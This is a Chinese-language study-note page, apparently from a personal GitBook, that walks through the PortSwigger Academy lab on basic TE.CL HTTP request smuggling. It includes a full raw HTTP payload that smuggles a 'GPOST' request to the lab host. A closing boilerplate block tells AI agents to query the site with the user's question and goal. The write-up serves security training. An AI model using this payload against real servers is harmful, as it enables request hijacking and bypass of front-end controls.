> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-te-cl-request-smuggling.md).

# TE.CL HTTP 请求走私漏洞

TE.CL HTTP 请求走私漏洞笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### HTTP 请求走私，基础 TE.CL 漏洞

在这种情况下，应用程序使用一个前端服务器和一个内部服务器。 **后端服务器不支持分块编码**，而 **前端服务器只接受 GET 和 POST** 方法。这种行为差异使我们能够利用一种类型为 **TE.CL**的漏洞，其中前端服务器根据 Transfer-Encoding 头解析请求，而内部服务器则基于 Content-Length。

#### **实验目标**

将一个请求注入到 HTTP 流中，以便下一个 **被后端服务器处理的请求看起来使用了 `GPOST`** 方法，从而验证该实验。

#### **重要说明**

* 尽管该实验支持 HTTP/2，但预期采用的技术完全基于专用于 **HTTP/1**的机制。因此，如有必要，应在 Burp Repeater 中手动修改协议。
* 长度字段可能难以正确处理。 **HTTP Request Smuggler** BApp Store 中提供的扩展有助于完成此任务。

#### **利用 TE.CL 的示例载荷**

在此攻击中，前端服务器以分块模式解析消息，而后端服务器通过 Content-Length 计算请求结束位置，从而可以插入第二个请求：

```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20

test=test
0


```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c3b2a69454110407b18b1474500d03f771acf9f%2F%7B932C65B6-9E74-474F-AAE8-2D69B1E75730%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/basic-te-cl-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
